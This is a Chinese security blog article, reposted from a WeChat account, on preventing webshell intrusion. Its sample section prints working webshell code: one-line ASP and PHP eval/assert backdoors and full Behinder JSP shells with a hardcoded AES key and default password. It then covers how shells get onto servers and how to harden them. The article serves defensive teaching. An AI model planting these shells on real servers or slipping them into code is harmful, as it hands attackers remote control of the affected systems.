如何防范webshell入侵

admin 2024年10月22日20:17:13评论68 views字数 6308阅读21分1秒阅读模式

如何防范webshell入侵

一、前言
在当今的网络社会中,随着互联网技术的快速发展,网络安全问题日益凸显。其中,webshell入侵作为一种常见的攻击手段,给各类网站和网络系统带来了严重的安全威胁。本文将介绍什么是webshell,当前流行的webshell样例,webshell入侵途径以及防范webshell入侵需要做哪些工作,帮助读者更好地了解并防范这一威胁。

二、什么是webshell

Webshell是一种恶意脚本或程序,允许黑客在Web服务器上执行命令,从而对服务器进行控制、窃取数据或发起进一步的攻击。它通常由黑客通过各种手段植入到受害服务器上,一旦成功植入,黑客便可以通过Webshell执行各种操作,例如文件上传、执行系统命令、数据库操作等。
Webshell的名称源自其功能类似于操作系统的命令行shell,但它是通过Web应用程序访问的,而不是直接在操作系统的命令行界面上操作。Webshell可以使用各种编程语言编写,如PHP、ASP、JSP等,因此具有跨平台的特点。
Webshell的目的是为黑客提供对受感染服务器的远程控制和管理权限,使其能够执行恶意操作,包括但不限于窃取敏感信息、篡改网页内容、攻击其他服务器等。由于Webshell具有隐蔽性高、操作方便、攻击路径多样等特点,成为黑客常用的攻击手段之一。

三、webshell样例

以下是一些常见的webshell代码样例。

asp一句话木马程序代码

<%eval request("sb")%>
程序代码
<%execute request("sb")%>
程序代码
<%execute(request("sb"))%>
程序代码
<%execute request("sb")%><%'<% loop <%:%>
程序代码
<%'<% loop <%:%><%execute request("sb")%>
程序代码
<%execute request("sb")'<% loop <%:%>
<script language=vbs runat=server>eval(request("sb"))</script>
程序代码
%><%Eval(Request(chr(35)))%><%
程序代码
<%eval request("sb")%>
程序代码
<%ExecuteGlobal request("sb")%>
程序代码
if Request("sb")<>"" then ExecuteGlobal request("sb") end if
//容错代码
程序代码
<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
<%
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};
lcx.性别((lcx.名字)+'');
%>
//使用冰狐一句话客户端链接

php一句话

程序代码
<?php eval($_POST[sb])?>
程序代码
<?php @eval($_POST[sb])?> //容错代码
程序代码
<?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>

jsp一句话木马(冰蝎2版本)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

jsp一句话木马(冰蝎3版本)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

jsp一句话木马(冰蝎4版本)

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    private byte[] Decrypt(byte[] data) throws Exception
    {
        String k="e45e329feb5d925b";
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
        byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder"null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode"new Class[]{byte[].class}).invoke(Decodernew Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decodernew Object[]{new String(data)});

                }
        return c.doFinal(decodebs);

    }
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
        super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[512];
            int length=request.getInputStream().read(buf);
            while (length>0)
            {
                byte[] data= Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);
            }
        new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>

asp一句话木马(菜刀版)

try
{Response.Write(Environment.OSVersion+"rn");
Response.Write(Request.ServerVariables["SERVER_SOFTWARE"]+"rn");
Response.Write(Environment.UserName+"rn");

Response.Write(Request.ServerVariables["LOCAL_ADDR"]+"rn");
}
catch(x)
{
Response.Write(x.Message);
}

四、webshell入侵方式有哪些

常见的Webshell入侵方式以下类型:

1.利用站点上传漏洞,上传Webshell

系统前台的上传业务可被利用来上传Webshell脚本,而被上传的目录往往对用户开放可执行权限。在Web中有上传图像、资料文件的地方,上传完后通常会向客户端返回上传文件的完整URL信息;该URL一般是常见的image、upload等目录。

如果Web服务器对网站存取权限或者文件夹目录权限控制不严,就可能被利用来实现Webshell攻击。攻击者可以利用上传功能上传一个脚本文件,然后通过URL访问并执行这个脚本;然后攻击者就可以上传Webshell到网站的任意目录中,从而拿到网站的管理员控制权限。

2.利用站点管理后台上传webshell

黑客获取管理员的后台密码,登录到后台系统,利用后台的管理工具向配置文件写入Webshell木马;或者私自添加上传类型,允许上传类似ASP、PHP格式的脚本程序文件。

3.利用数据库备份与恢复功能生成Webshell

例如,备份时把备份文件的后缀改成 .asp;如果后台有MySQL数据查询功能,黑客可以执行select...in To outfile查询输出PHP文件,并把代码插入到MySQL,从而生成Webshell的木马。

4.系统中其他站点被攻击,或者服务器上还搭载了FTP服务器。

FTP服务器被攻击时被注入了Webshell的木马,导致网站系统被感染。

5.黑客直接攻击Web服务器系统漏洞,实现入侵。

Web服务器在系统层面也可能存在漏洞,如果黑客利用其漏洞攻击服务器系统;在获取其权限后,黑客就可以在Web服务器目录里上传Webshell文件。

综上,Webshell能够入侵到系统,一般是由于以下原因:

  • 通过Web站点漏洞上传Webshell。

Webshell能够被注入,在很大程度是由于服务器或中间件的安全漏洞。例如,以下常见漏洞都可能被利用来注入Webshell:旧版本的IIS目录解析漏洞、文件名解析漏洞、应用后台暴露和弱口令、Fast-CGI解析漏洞、Apache文件解析漏洞、截断上传、后台数据库备份功能上传、数据库语句上传漏洞等。

  • 站点部署时混入了Webshell文件。

大量的用户在使用从网上下载的第三方开源代码时,其代码本身已经混入了Webshell的恶意脚本,造成二次入侵或多次入侵。所以在部署前期,如果不是新开发的代码,都需要对代码进行恶意文件扫描查杀,防止上线后被入侵。

五、防范webshell入侵需要做哪些工作

  • 配置必要的防火墙并开启防火墙策略,防止暴露不必要的服务,为黑客提供利用条件。
  • 对服务器进行安全加固。例如,关闭远程桌面功能、定期更换密码、禁止使用最高权限用户运行程序、使用HTTPS加密协议。定期更新系统和软件补丁,以修复已知的漏洞,降低系统被攻击的风险。
  • 限制文件上传的类型和大小,对用户上传的文件进行严格的过滤和检测,防止恶意文件的上传。
  • 加强权限管理,对敏感目录进行权限设置,限制上传目录的脚本执行权限,不允许配置执行权限等。
  • 限制特定目录解析,如,对特定目录(images、upload、js、css、templetes等非存放jsp的目录)禁止解析jsp、jspx、asp、php等文件,例如:可以用Nginx配置进行拦截,返回403状态码。
  • 安装可信赖的安全防护软件,对服务器进行实时监控和防护,及时发现和清除webshell,如安装Webshell检测工具或防病毒软件,发现检测结果后,立即隔离查杀,并排查漏洞。
  • 排查程序存在的漏洞,并及时修补漏洞。您可以通过应急响应服务人工界入,协助排查漏洞及入侵原因,同时可以选用商业WAF(Web应用防火墙)或IPS(入侵防御系统)等进行防御,降低被入侵机率。
  • 在服务器所在网络中部署全流量分析系统,及时发现入侵痕迹从而进行迅速应急响应。

原文始发于微信公众号(长风实验室):如何防范webshell入侵

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月22日20:17:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何防范webshell入侵https://cn-sec.com/archives/3303016.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息